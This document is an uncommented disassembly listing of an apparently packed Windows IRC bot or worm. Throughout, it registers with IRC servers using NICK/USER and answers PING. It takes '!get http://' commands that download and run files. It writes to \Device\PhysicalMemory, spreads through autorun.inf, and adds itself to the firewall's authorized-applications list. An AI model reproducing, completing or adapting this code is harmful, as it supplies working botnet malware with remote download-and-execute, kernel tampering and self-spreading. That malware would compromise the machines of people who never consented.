		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+12352378h]
		xor	edx, edx
		test	eax, eax
		pop	eax
		setns	dl
		add	esp, 234h
		neg	edx
		and	eax, edx
		retn
sub_48B36F	endp


; =============== S U B	R O U T	I N E =======================================



sub_48B3E9	proc near		; CODE XREF: UPX2:loc_48BF62p
		mov	eax, [ebp+12355B68h]
		lea	edx, [ebp+12355AE8h]
		add	eax, 2
		xor	ecx, ecx
		shl	eax, 10h
		push	ecx
		mov	ax, [ebp+12355B68h]
		push	edx
		push	eax
		mov	eax, esp
		push	ecx
		push	ecx
		push	40h
		push	eax
		push	ecx
		push	18h
		add	eax, 8
		push	esp
		push	0Eh
		push	eax
		call	dword ptr [ebp+12352390h]
		add	esp, 20h
		xor	edx, edx
		test	eax, eax
		setns	dl
		neg	edx
		pop	eax
		and	eax, edx
		retn
sub_48B3E9	endp

; ---------------------------------------------------------------------------
		dw 3357h
		dd 0FFB3E8FFh, 840FFFFFh, 0DFh,	92986850h, 0D48B0000h
		dd 0CC8B006Ah, 68406Ah,	6A001000h, 6A5202h, 929868h, 51006A00h
		dd 95FF5053h, 12352384h, 95FF595Fh, 12352288h, 840FFF85h
		dd 0A7h, 164A8D8Bh, 0CE31235h, 1000958Dh, 0D1031235h, 0D2FF5357h
		dd 3E9185F7h, 201235h, 15740000h, 2380858Bh, 0C0851235h
		dd 8F8D0B74h, 4A63h, 0FFFE8FE8h, 6C858BFFh, 8D123523h
		dd 474D8Fh, 0FE7EE800h,	858BFFFFh, 12352388h, 47D28F8Dh
		dd 6DE80000h, 8BFFFFFEh, 35237085h, 0DC8F8D12h,	0E8000047h
		dd 0FFFFFE5Ch, 2374858Bh, 0C0851235h, 8F8D0B74h, 47E9h
		dd 0FFFE47E8h, 7C858BFFh, 85123523h, 8D0B74C0h,	47F68Fh
		dd 0FE32E800h, 858BFFFFh, 12352398h, 0B74C085h,	482A8F8Dh
		dd 1DE80000h, 8BFFFFFEh, 55C35FC7h, 0E8h, 0ED815D00h, 12352606h
		dd 858DC933h, 12352FD1h, 51515451h, 0FF515150h,	3522A095h
		dd 24048712h, 228895FFh, 0C25D1235h, 0E8550004h, 0
		dd 35ED815Dh, 6A123526h, 958DFFh, 50123526h, 2420CD52h
		dd 83002A00h, 0C7660CC4h, 35264685h, 0C720CD12h, 35264885h
		dd 2A002412h, 6AC35D00h, 0FF016A01h, 473FF33h, 0C08515FFh
		dd 0B68F074h, 8B000000h, 50035BD0h, 64B58D3Ch, 8B123526h
		dd 10CBAh, 88A8B00h, 3000001h, 60CB2BF8h, 0A6F3CB8Bh, 47057461h
		dd 0C2EBF5E2h, 570FC783h, 8B53D48Bh, 6A5450CCh,	6A525140h
		dd 9495FFFFh, 83123523h, 958B0CC4h, 123522A8h, 0EA83D72Bh
		dd 6A07C707h, 8900E800h, 0E8C30357h, 2
; ---------------------------------------------------------------------------
		xchg	eax, edx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_48B5F6	proc near		; CODE XREF: sub_48B60A+3p
					; sub_48B6FE+CBp ...
		imul	edx, [ebp+12355B7Ch], 8088405h
		inc	edx
		mov	[ebp+12355B7Ch], edx
		mul	edx
		retn
sub_48B5F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_48B60A	proc near		; CODE XREF: sub_48EB00-4922p
					; sub_48B60A+Fj
		push	1Ah
		pop	eax
		call	sub_48B5F6
		lea	eax, [edx+61h]
		stosb
		nop
		dec	cl
		jnz	short sub_48B60A
		retn
sub_48B60A	endp

; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 12352703h
		mov	ebx, [ebp+12355C4Ah]
		cmp	dword ptr [esp+8], 0
		jz	loc_48B6F3
		sub	esp, 208h
		push	esp
		push	104h
		call	dword ptr [ebp+123522CCh]
		mov	edi, esp
		lea	eax, [esp+104h]
		push	eax
		push	0
		call	near ptr loc_48B660+1
		push	esi
		push	edx
		push	esp


loc_48B660:				; CODE XREF: UPX2:0048B658p
		add	[edi-1], dl
		xchg	eax, ebp
		enter	3522h, 12h
		xor	ecx, ecx
		lea	edx, [edi+104h]
		push	ecx
		push	ecx
		push	2
		push	ecx
		push	1
		push	40000000h
		push	edx
		call	dword ptr [ebp+12352290h]
		xchg	eax, esi
		test	esi, esi
		jz	short loc_48B6E3


loc_48B688:				; CODE XREF: UPX2:0048B6B6j
		push	eax
		push	esp
		push	104h
		push	edi
		push	dword ptr [esp+220h]
		call	dword ptr [ebp+12355C2Ch]
		pop	ecx
		test	eax, eax
		jz	short loc_48B6B8
		jecxz	short loc_48B6B8
		push	eax
		mov	edx, esp
		push	0
		push	edx
		push	ecx
		push	edi
		push	esi
		call	dword ptr [ebp+12352320h]
		pop	ecx
		test	eax, eax
		jnz	short loc_48B688


loc_48B6B8:				; CODE XREF: UPX2:0048B6A0j
					; UPX2:0048B6A2j
		push	esi
		call	dword ptr [ebp+12352288h]
		lea	edx, [edi+44h]
		push	edx
		push	edi
		push	44h
		pop	eax
		lea	edx, [edi+104h]
		stosd
		xor	eax, eax
		push	10h
		pop	ecx
		rep stosd
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	edx
		call	dword ptr [ebp+12352298h]


loc_48B6E3:				; CODE XREF: UPX2:0048B686j
		add	esp, 208h
		push	dword ptr [esp+8]
		call	dword ptr [ebp+12355C1Ch]


loc_48B6F3:				; CODE XREF: UPX2:0048B634j
		push	ebx
		call	dword ptr [ebp+12355C1Ch]
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_48B6FE	proc near		; CODE XREF: UPX2:0048C4AEp

; FUNCTION CHUNK AT 0048B82B SIZE 00000051 BYTES

		cmp	byte ptr [esi],	0Ah
		jnz	short loc_48B704
		inc	esi


loc_48B704:				; CODE XREF: sub_48B6FE+3j
		mov	ecx, [ebp+12351646h]
		jecxz	short loc_48B725
		lea	edx, [ebp+12351000h]
		add	edx, ecx
		push	esi
		call	edx
		test	al, al
		js	loc_48B87A
		jz	loc_48B871


loc_48B725:				; CODE XREF: sub_48B6FE+Cj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_48B73A


loc_48B72A:				; CODE XREF: sub_48B6FE+39j
		inc	esi
		cmp	byte ptr [esi],	0
		jz	loc_48B871
		cmp	byte ptr [esi],	20h
		jnz	short loc_48B72A
		inc	esi


loc_48B73A:				; CODE XREF: sub_48B6FE+2Aj
		cmp	dword ptr [esi], 474E4950h
		jnz	short loc_48B768
		mov	ecx, edi
		mov	byte ptr [esi+1], 4Fh
		sub	ecx, esi
		push	ecx
		push	0
		push	ecx
		push	esi
		push	ebx
		call	sub_48B87C
		pop	ecx
		cmp	eax, ecx
		jnz	loc_48B87A
		call	sub_48BEA9
		jmp	loc_48B871
; ---------------------------------------------------------------------------


loc_48B768:				; CODE XREF: sub_48B6FE+42j
		cmp	dword ptr [esi], 56495250h
		jnz	loc_48B871
		add	esi, 8


loc_48B777:				; CODE XREF: sub_48B6FE+84j
		lodsb
		cmp	al, 0Dh
		jz	loc_48B871
		cmp	al, 20h
		jnz	short loc_48B777
		lodsb
		cmp	al, 3Ah
		jnz	loc_48B871
		lodsd
		or	eax, 20202020h
		cmp	eax, 74656721h
		jnz	loc_48B82B
		lodsb
		cmp	al, 20h
		jnz	loc_48B873
		cmp	dword ptr [esi-1], 74746820h
		jnz	loc_48B871
		cmp	dword ptr [esi+3], 2F2F3A70h
		jnz	loc_48B871
		mov	byte ptr [edi-1], 0
		xor	eax, eax
		mov	ah, 28h
		call	sub_48B5F6
		push	edx
		call	dword ptr [ebp+12352314h]
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	near ptr loc_48B7E7+2
		inc	esp
		outsd
		ja	short near ptr loc_48B850+2
		insb
		outsd
		popa


loc_48B7E7:				; CODE XREF: sub_48B6FE+DDp
		db	64h
		add	bh, bh
sub_48B6FE	endp ; sp-analysis failed

		xchg	eax, ebp
		and	al, 5Ch
		xor	eax, 74C08512h
		jle	short near ptr loc_48B823+4
		leave
		mov	[ebp+12355C4Ah], eax
		push	ecx
		push	84000300h
		push	ecx
		push	ecx
		push	esi
		push	eax
		call	dword ptr [ebp+12355C28h]
		lea	edx, [ebp+123526FDh]
		push	eax
		xor	ecx, ecx
		push	esp
		push	ecx
		push	eax
		push	edx
		push	ecx
		push	ecx
		call	dword ptr [ebp+123522A0h]
		xchg	eax, [esp]


loc_48B823:				; CODE XREF: UPX2:0048B7F2j
		call	dword ptr [ebp+12352288h]
		jmp	short loc_48B871
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B6FE


loc_48B82B:				; CODE XREF: sub_48B6FE+9Aj
		cmp	eax, 736F6821h
		jnz	short loc_48B871
		lodsw
		or	al, 20h
		cmp	ax, 2074h
		jnz	short loc_48B871
		lea	edi, [ebp+12352ED2h]
		push	3Eh
		pop	ecx
		mov	edx, edi


loc_48B847:				; CODE XREF: sub_48B6FE+156j
					; sub_48B6FE+15Bj
		lodsb
		cmp	al, 20h
		jb	short loc_48B85B
		cmp	al, 20h
		jnz	short loc_48B858


loc_48B850:				; CODE XREF: sub_48B6FE+E4j
		cmp	byte ptr [esi-2], 20h
		jz	short loc_48B847
		mov	al, 0


loc_48B858:				; CODE XREF: sub_48B6FE+150j
		stosb
		loop	loc_48B847


loc_48B85B:				; CODE XREF: sub_48B6FE+14Cj
		cmp	edx, edi
		jz	short loc_48B873
		mov	al, 0
		cmp	byte ptr [edi-1], 0
		jz	short loc_48B868
		stosb


loc_48B868:				; CODE XREF: sub_48B6FE+167j
		stosb
		rdtsc
		mov	[ebp+12354BB3h], eax


loc_48B871:				; CODE XREF: sub_48B6FE+21j
					; sub_48B6FE+30j ...
		clc
		retn
; ---------------------------------------------------------------------------


loc_48B873:				; CODE XREF: sub_48B6FE+A3j
					; sub_48B6FE+15Fj
		or	byte ptr [ebp+12351639h], 1


loc_48B87A:				; CODE XREF: sub_48B6FE+1Bj
					; sub_48B6FE+5Aj
		stc
		retn
; END OF FUNCTION CHUNK	FOR sub_48B6FE

; =============== S U B	R O U T	I N E =======================================



sub_48B87C	proc near		; CODE XREF: sub_48B6FE+52p
					; UPX2:0048C41Ep ...

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		pusha
		mov	esi, [esp+20h+arg_4]
		lea	edi, [ebp+123561F7h]
		mov	ecx, [esp+20h+arg_8]
		mov	[esp+20h+arg_4], edi
		mov	edx, [ebp+123561F1h]


loc_48B895:				; CODE XREF: sub_48B87C:loc_48B8AEj
		lodsb
		xor	al, dl
		stosb
		ror	edx, 8
		inc	byte ptr [ebp+123561F6h]
		and	byte ptr [ebp+123561F6h], 1
		jnz	short loc_48B8AE
		imul	edx, 0Dh


loc_48B8AE:				; CODE XREF: sub_48B87C+2Dj
		loop	loc_48B895
		mov	[ebp+123561F1h], edx
		popa
		jmp	dword ptr [ebp+12355C14h]
sub_48B87C	endp

; ---------------------------------------------------------------------------
		mov	ebx, [esp+4]
		call	$+5
		pop	ebp
		sub	ebp, 123529A7h


loc_48B8CD:				; CODE XREF: UPX2:0048B902j
		mov	edi, [ebp+1235609Ah]
		mov	esi, [ebp+1235608Ah]
		add	edi, ebx
		mov	ecx, [ebp+1235609Eh]
		rep movsd
		mov	eax, [ebp+1235609Ah]
		mov	edx, [ebp+12356096h]
		add	eax, [ebp+1235608Eh]
		mov	[edx], eax
		push	1388h
		call	dword ptr [ebp+12352314h]
		jmp	short loc_48B8CD
; ---------------------------------------------------------------------------
aDevicePhysical	db '\Device\PhysicalMemory',0
; ---------------------------------------------------------------------------
		pop	esp
		push	edx
		push	ebp
		dec	esi
		inc	esp
		dec	esp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	ebp
		pop	eax
		inc	ebp
		add	[ebx], dh
		ror	byte ptr [ebx-2609AD31h], cl
		push	edx
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	edx
		push	18h
		lea	esi, [ebp+123529E5h]
		mov	ecx, 17h
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah


loc_48B95F:				; CODE XREF: UPX2:0048B962j
		lodsb
		stosw
		loop	loc_48B95F
		lea	edx, [ebp+12356086h]
		push	esp
		push	6
		push	edx
		call	dword ptr [ebp+12352390h]
		mov	esi, [esp+8]
		add	esp, 18h
		test	eax, eax
		jnz	locret_48BB9F
		push	0
		push	120h
		push	esi
		push	0Bh
		call	dword ptr [ebp+123523A0h]
		mov	ebx, [esi+0Ch]
		mov	ecx, [esi+10h]
		mov	[ebp+1235608Eh], ebx
		mov	[ebp+12356092h], ecx
		and	ebx, 0FFFF000h
		push	ecx
		push	ebx
		push	0
		push	6
		push	dword ptr [ebp+12356086h]
		call	dword ptr [ebp+123522ECh]
		push	eax
		push	dword ptr [ebp+12356086h]
		call	dword ptr [ebp+12352288h]
		pop	eax
		test	eax, eax
		xchg	eax, ebx
		jz	locret_48BB9F
		cmp	word ptr [ebx],	5A4Dh
		jz	short loc_48B9E7


loc_48B9DB:				; CODE XREF: UPX2:0048BA5Cj
					; UPX2:0048BA89j ...
		push	ebx
		call	dword ptr [ebp+12352318h]
		jmp	locret_48BB9F
; ---------------------------------------------------------------------------


loc_48B9E7:				; CODE XREF: UPX2:0048B9D9j
		lea	edi, [esi+0C8h]
		movzx	ecx, word ptr [esi+1Eh]
		lea	esi, [ecx+esi+1Fh]
		push	104h
		push	edi
		call	dword ptr [ebp+123522C4h]
		lea	edx, [ebp+123529FCh]
		push	eax
		push	edx
		push	edi
		call	dword ptr [ebp+12352270h]
		xor	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	80000000h
		push	edi
		call	dword ptr [ebp+12352290h]
		push	eax
		call	dword ptr [ebp+12352288h]
		pop	eax
		mov	byte ptr [eax+edi], 0
		push	esi
		push	edi
		call	dword ptr [ebp+12352270h]
		mov	eax, [ebx+3Ch]
		add	eax, ebx
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		lea	esi, [ebx+esi]
		push	ecx


loc_48BA4D:				; CODE XREF: UPX2:0048BA59j
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax+1], 72655365h
		jz	short loc_48BA61
		loop	loc_48BA4D
		pop	ecx
		jmp	loc_48B9DB
; ---------------------------------------------------------------------------


loc_48BA61:				; CODE XREF: UPX2:0048BA57j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		mov	edx, [edx+1Ch]
		movzx	eax, word ptr [esi+ecx*2]
		add	edx, ebx
		mov	esi, [edx+eax*4]
		add	esi, ebx
		mov	ecx, [esi+8]
		mov	[ebp+12356096h], esi
		mov	esi, [esi]
		cmp	esi, [ebp+1235608Eh]
		jb	loc_48B9DB
		sub	esi, [ebp+1235608Eh]
		cmp	esi, [ebp+12356092h]
		jnb	loc_48B9DB
		xor	eax, eax
		mov	[ebp+1235609Ah], esi
		mov	[ebp+1235609Eh], ecx
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	80000000h
		push	edi
		inc	dword ptr [ebp+12351642h]
		call	dword ptr [ebp+12352290h]
		dec	dword ptr [ebp+12351642h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_48B9DB
		mov	[ebp+12356086h], eax
		mov	eax, [ebx+3Ch]
		add	eax, ebx
		movzx	edx, word ptr [eax+14h]
		movzx	ecx, word ptr [eax+6]
		lea	eax, [edx+eax+18h]


loc_48BAEE:				; CODE XREF: UPX2:0048BAFFj
		mov	edx, [eax+0Ch]
		cmp	edx, esi
		ja	short loc_48BAFC
		add	edx, [eax+10h]
		cmp	edx, esi
		ja	short loc_48BB12


loc_48BAFC:				; CODE XREF: UPX2:0048BAF3j
		add	eax, 28h
		loop	loc_48BAEE
		push	dword ptr [ebp+12356086h]
		call	dword ptr [ebp+12352288h]
		jmp	loc_48B9DB
; ---------------------------------------------------------------------------


loc_48BB12:				; CODE XREF: UPX2:0048BAFAj
		sub	esi, [eax+0Ch]
		push	0
		add	esi, [eax+14h]
		push	0
		push	esi
		push	dword ptr [ebp+12356086h]
		call	dword ptr [ebp+12352308h]
		mov	eax, [ebp+1235609Eh]
		shl	eax, 2
		push	eax
		push	eax
		push	0
		call	dword ptr [ebp+123522E4h]
		mov	[ebp+1235608Ah], eax
		mov	edx, esp
		push	0
		push	edx
		push	dword ptr [edx]
		push	eax
		push	dword ptr [ebp+12356086h]
		call	dword ptr [ebp+123522FCh]
		mov	eax, [ebp+12356086h]
		mov	[esp], eax
		call	dword ptr [ebp+12352288h]
		mov	edx, [ebx+3Ch]
		mov	esi, [ebp+1235608Ah]
		mov	edx, [edx+ebx+34h]
		mov	edi, esi
		sub	edx, [ebp+1235608Eh]
		mov	ecx, [ebp+1235609Eh]


loc_48BB80:				; CODE XREF: UPX2:0048BB84j
		lodsd
		sub	eax, edx
		stosd
		loop	loc_48BB80
		lea	eax, [ebp+1235299Eh]
		push	ecx
		push	ecx
		push	ebx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+123522A0h]
		push	eax
		call	dword ptr [ebp+12352288h]

locret_48BB9F:				; CODE XREF: UPX2:0048B97Dj
					; UPX2:0048B9CEj ...
		retn
; ---------------------------------------------------------------------------
aAutorunOpenS	db '[autorun]',0Dh,0Ah
		db 'open=è',0
		align 4
		dd 0ED815D00h, 12352C96h, 320EC81h, 0FC8B0000h,	0FA068h
		dd 1495FF00h, 80123523h, 355F52BDh, 0EC740012h,	3A4407C7h
		dd 0FF57005Ch, 3522B095h, 74023C12h, 5A3F8009h,	7FED674h
		dd 0C933ECEBh, 5B80858Dh, 51511235h, 5151308Bh,	57515150h
		dd 22DC95FFh, 0C0851235h, 0B539DB74h, 12355B80h, 1E8AE74h
		dd 7400002Ah, 80B5890Dh, 0E812355Bh, 2A0Eh, 0B78D9AEBh
		dd 104h, 5F52858Dh, 6C61235h, 0FF565000h, 35227095h, 29F0E812h
		dd 0D68B0000h, 3880C68Bh, 400B7400h, 5CFF7880h,	0D08BF475h
		dd 9589F0EBh, 123560A6h, 95FF5752h, 12352270h, 11CC681h
		dd 4680000h, 56000001h,	22C495FFh, 858D1235h, 123529FCh
		dd 95FF5650h, 12352270h, 5657006Ah, 228C95FFh, 0C0851235h
		dd 0FF2A840Fh, 226AFFFFh, 495FF57h, 0C7123523h,	55410347h
		dd 47C74F54h, 4E555207h, 0B47C72Eh, 464E49h, 8068006Ah
		dd 6A000000h, 6A006A02h, 6801h,	0FF574000h, 35229095h
		dd 0FC08512h, 0FFFEEB84h, 81958DFFh, 9312352Ch,	6857006Ah
		dd 10h,	95FF5352h, 12352320h, 0FF57006Ah, 3560A6B5h, 8095FF12h
		dd 50123522h, 60A6B5FFh, 0FF531235h, 35232095h,	95FF5312h
		dd 12352288h, 0FFFEABE9h, 3A7325FFh, 6E653A2Ah,	656C6261h
		dd 73403A64h, 6C6C6568h, 642E3233h, 2D2C6C6Ch, 59530031h
		dd 4D455453h, 7275435Ch, 746E6572h, 746E6F43h, 536C6F72h
		dd 535C7465h, 69767265h, 5C736563h, 72616853h, 63416465h
		dd 73736563h, 7261505Ch, 74656D61h, 5C737265h, 65726946h
		dd 6C6C6177h, 696C6F50h, 535C7963h, 646E6174h, 50647261h
		dd 69666F72h, 415C656Ch, 6F687475h, 657A6972h, 70704164h
		dd 6163696Ch, 6E6F6974h, 694C5C73h, 53007473h, 5754464Fh
		dd 5C455241h, 7263694Dh, 666F736Fh, 69575C74h, 776F646Eh
		dd 75435C73h, 6E657272h, 72655674h, 6E6F6973h, 7078455Ch
		dd 65726F6Ch, 70550072h, 65746164h, 74736F48h, 0FF000200h
		dd 740C79F0h, 6372698Eh, 65697A2Eh, 6C702E66h, 6F727000h
		dd 2E6D6978h, 67637269h, 78616C61h, 6C702E79h, 8 dup(0)
		db    0
aNickYgmwjrujUs	db 'NICK ygmwjruj',0Ah
		db 'USER iI',0
aV		db '‚',0
		db 8Dh,	1, 9Dh
		dd 6801F601h, 4, 94B70F59h, 352F264Dh, 2A843112h, 12351000h
		dd 0ED79C9FEh, 8C958DC3h, 5012352Eh, 6A016A54h,	1685200h
		dd 0FF800000h, 355C3495h, 5AC08512h, 8D8D2275h,	12352EBFh
		dd 8D066A52h, 352ECCB5h, 50565412h, 0FF525150h,	355C3895h
		dd 95FF5812h, 12355C30h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_48BEA9	proc near		; CODE XREF: sub_48B6FE+60p
		lea	edx, [ebp+12352E8Ch]
		push	eax
		push	esp
		push	2
		push	0
		push	edx
		push	80000001h
		call	dword ptr [ebp+12355C34h]
		test	eax, eax
		pop	edx
		jnz	short loc_48BEE8
		lea	ecx, [ebp+12352EBFh]
		push	edx
		lea	eax, [ebp+12352ECCh]
		push	6
		push	eax
		push	3
		push	0
		push	ecx
		push	edx
		call	dword ptr [ebp+12355C3Ch]
		call	dword ptr [ebp+12355C30h]


loc_48BEE8:				; CODE XREF: sub_48BEA9+1Bj
		mov	byte ptr [ebp+123534C4h], 23h
		retn
sub_48BEA9	endp

; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 12352FD7h
		mov	byte ptr [ebp+12355F52h], 0
		mov	byte ptr [ebp+12351639h], 0
		cmp	dword ptr [ebp+12355B84h], 0
		jz	short loc_48BF62
		push	1Eh
		mov	esi, [ebp+12355B84h]
		pop	ecx


loc_48BF1D:				; CODE XREF: UPX2:loc_48BF4Cj
		lodsb
		cmp	al, 2Eh
		jnz	short loc_48BF4C
		cmp	word ptr [esi],	1DFFh
		jnz	short loc_48BF4C
		lea	edi, [ebp+12355C44h]
		mov	esi, [esi+2]
		push	edi
		movsd
		movsw
		lea	eax, [ebp+12355723h]
		pop	dword ptr [ebp+12355749h]
		cli
		mov	[esi-6], eax
		mov	word ptr [esi-2], cs
		sti
		mov	cl, 1


loc_48BF4C:				; CODE XREF: UPX2:0048BF20j
					; UPX2:0048BF27j
		loop	loc_48BF1D
		lea	esi, [ebp+12355C4Eh]
		push	104h
		push	esi
		call	dword ptr [ebp+123522E0h]
		jmp	short near ptr loc_48BFDD+2
; ---------------------------------------------------------------------------


loc_48BF62:				; CODE XREF: UPX2:0048BF12j
		call	sub_48B3E9
		cmp	dword ptr [esp+8], 4
		jnz	short loc_48BFB4
		call	near ptr loc_48BF7A+1
		push	ebx
		inc	esi
		inc	ebx
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_48BF7A:				; CODE XREF: UPX2:0048BF6Ep
		add	bh, bh
		xchg	eax, ebp
		insb
		and	dh, ds:74C00B12h
		adc	al, 6Ah
		add	dl, [eax-18h]
		add	esi, esi
; ---------------------------------------------------------------------------
		db 0FFh
		dd 6C95FFFFh, 8512355Bh, 0FF0274C0h, 0BE8D0h, 46530000h
		dd 534F5F43h, 4C4C442Eh, 6C95FF00h, 0E8123522h,	0FFFFF5DAh
; ---------------------------------------------------------------------------


loc_48BFB4:				; CODE XREF: UPX2:0048BF6Cj
		lea	esi, [ebp+12355C4Eh]
		push	104h
		push	esi
		call	dword ptr [ebp+123522C4h]
		call	near ptr loc_48BFD7+1
		pop	esp
		inc	esp
		push	edx
		dec	ecx
		push	esi
		inc	ebp
		push	edx
		push	ebx
		pop	esp
		inc	ebp
		push	esp
		inc	ebx


loc_48BFD7:				; CODE XREF: UPX2:0048BFC6p
		add	[esi-1], dl
		xchg	eax, ebp
		jo	short loc_48BFFF


loc_48BFDD:				; CODE XREF: UPX2:0048BF60j
		xor	eax, 7E812h
; ---------------------------------------------------------------------------
		dw 0
		dd 534F485Ch, 56005354h, 227095FFh, 0C9331235h,	36A5151h
		dd 68006A51h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_48BFFF:				; CODE XREF: UPX2:0048BFDBj
		inc	eax
		push	esi
		call	dword ptr [ebp+12352290h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_48C02F
		push	eax
		lea	edx, [ebp+12355C4Eh]
		lea	ecx, [ebp+12353EA3h]
		push	0
		push	edx
		push	18h
		push	ecx
		push	eax
		call	dword ptr [ebp+12352320h]
		call	dword ptr [ebp+12352288h]


loc_48C02F:				; CODE XREF: UPX2:0048C00Aj
		call	near ptr loc_48C03E+1
		push	ebp
		push	ebx
		inc	ebp
		push	edx
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_48C03E:				; CODE XREF: UPX2:loc_48C02Fp
		add	bh, bh
		xchg	eax, ebp
		call	near ptr 0E85AF568h
		or	al, [eax]
; ---------------------------------------------------------------------------
		dd 73770000h, 6E697270h, 416674h, 6C95FF50h, 8D12355Bh
		dd 3521408Dh, 0FC858912h, 5112355Bh, 22E895FFh,	68931235h
		dd 4, 23DCB58Dh, 8D591235h, 355C30BDh, 0EF45E812h, 8155FFFFh
		dd 351005C5h, 0DF24E812h, 0FF5DFFFFh, 3522D095h, 0AA858912h
		dd 8B123560h, 35113785h, 0FDA5E812h, 310FFFFFh,	11378589h
		dd 85001235h, 123511CBh, 0FFFD92E8h, 51C933FFh,	1000B58Dh
		dd 0B70F1235h, 1F908D84h, 0B60F1235h, 1F928D8Ch, 0F0031235h
		dd 239DE851h, 56A0000h,	0F510E858h, 0D20AFFFFh,	0F1030474h
		dd 0BD8D1DEBh, 12355C4Eh, 0A4F35651h, 237EE8h, 0A4F35F00h
		dd 0B58D5759h, 12355C4Eh, 595EA4F3h, 0FE59CAE2h, 0FF980C1h
		dd 646AA972h, 0F4D8E858h, 0D285FFFFh, 0BD8D0D75h, 123510BAh
		dd 0DBE804B1h, 6AFFFFF4h, 0BFE85820h, 33FFFFF4h, 95BB0FC9h
		dd 12353E91h, 60A2858Dh, 51511235h, 51505151h, 95FF5151h
		dd 123522DCh, 60A2858Bh, 0BD801235h, 12351631h,	89087400h
		dd 35164E85h, 3B0FEB12h, 35164E85h, 0C6077412h,	3534C485h
		dd 8DFF2312h, 1235137Dh, 5B84BD83h, 75001235h, 0CE874h
		dd 48530000h, 5041574Ch, 4C442E49h, 95FF004Ch, 123522E8h
		dd 0CE8h, 53485300h, 61567465h,	4165756Ch, 95FF5000h, 12355B6Ch
		dd 4EB58D93h, 6812355Ch, 0C8h, 0FF006A56h, 3522C095h, 0FA958D12h
		dd 8D12352Dh, 355D16BDh, 57525612h, 5BFC95FFh, 0C4831235h
		dd 17958D0Ch, 5012352Eh, 56016A57h, 26852h, 0D3FF8000h
		dd 0FFF72CE8h, 9185F7FFh, 1012353Eh, 74000000h,	50C9331Eh
		dd 2C91958Dh, 51541235h, 51515251h, 22A095FFh, 4891235h
		dd 8895FF24h, 0E8123522h, 0Ch, 434F5357h, 2E32334Bh, 4C4C44h
		dd 22E895FFh, 68931235h, 7, 23ACB58Dh, 8D591235h, 355C00BDh
		dd 0ED75E812h, 0CE8FFFFh, 57000000h, 4E494E49h,	442E5445h
		dd 0FF004C4Ch, 3522E895h, 0FC08512h, 2BE84h, 5689300h
		dd 8D000000h, 3523C8B5h, 0BD8D5912h, 12355C1Ch,	0FFED3EE8h
		dd 20BD83FFh, 12355Ch, 299840Fh, 0EC810000h, 190h, 1016854h
		dd 95FF0000h, 12355C00h, 190C481h, 8B500000h, 52006AD4h
		dd 5C2095FFh, 0C0851235h, 680D7559h, 1388h, 231495FFh
		dd 0E2EB1235h, 0CC85C766h, 0FF12352Eh, 0CEA583F0h, 12352Eh
		dd 2ED2BD8Dh, 0FF571235h, 355C0C95h, 75C08512h,	95FF5724h
		dd 12352280h, 1387C8Dh,	75003F80h, 0FB63E8E5h, 0BD83FFFFh
		dd 12352ECEh, 7840F00h,	0EB000002h, 0C408B0Dh, 30FF008Bh
		dd 2ECE858Fh, 6A1235h, 26A016Ah, 5C1895FFh, 0F8831235h
		dd 0E3840FFFh, 93000001h, 2ECA958Dh, 106A1235h,	95FF5352h
		dd 12355C08h, 850FC085h, 1C3h, 0E8FFC883h, 0FFFFF29Eh
		dd 17BD8D42h, 8912352Fh, 3561ED95h, 0F585C612h,	123561h
		dd 61F19589h, 85C61235h, 123561F6h, 0E808B100h,	0FFFFF28Ah
		dd 9468h, 0E62B5E00h, 54243489h, 22D895FFh, 0BD8D1235h
		dd 12352F25h, 6BE801B1h, 8DFFFFF2h, 352F1295h, 68006A12h
		dd 14h,	0C9E85352h, 8DFFFFF4h, 8D142444h, 3560A295h, 0B60F5012h
		dd 24448B0Ah, 8E0C114h,	12014A02h, 4A12024Ah, 24440B03h
		dd 0FE18008h, 5108E0C1h, 1024440Bh, 236A32FFh, 4EBD8D50h
		dd 0E812355Ch, 1Ch
; ---------------------------------------------------------------------------
		and	eax, 2078362Eh
		and	cs:[esi], ch
		and	[edx], bh
		and	eax, 382E2563h
		js	short near ptr loc_48C423+3
		js	short loc_48C423
		and	eax, 4F4A0A73h
		dec	ecx
		dec	esi
		and	[eax], al
		push	edi
		call	dword ptr [ebp+12355BFCh]
		add	esp, 0B0h
		push	0
		push	eax
		push	edi
		push	ebx
		call	sub_48B87C


loc_48C423:				; CODE XREF: UPX2:0048C401j
					; UPX2:0048C3FFj
		mov	ecx, [ebp+12351632h]
		push	0
		imul	ecx, 0Dh
		push	ecx
		call	near ptr loc_48C436+4
		and	ebp, [esi]


loc_48C436:				; CODE XREF: UPX2:0048C42Fp
		and	eax, 57000A64h
		call	dword ptr [ebp+12355BFCh]
		add	esp, 0Ch
		push	eax
		push	edi
		push	ebx
		call	sub_48B87C
		test	eax, eax
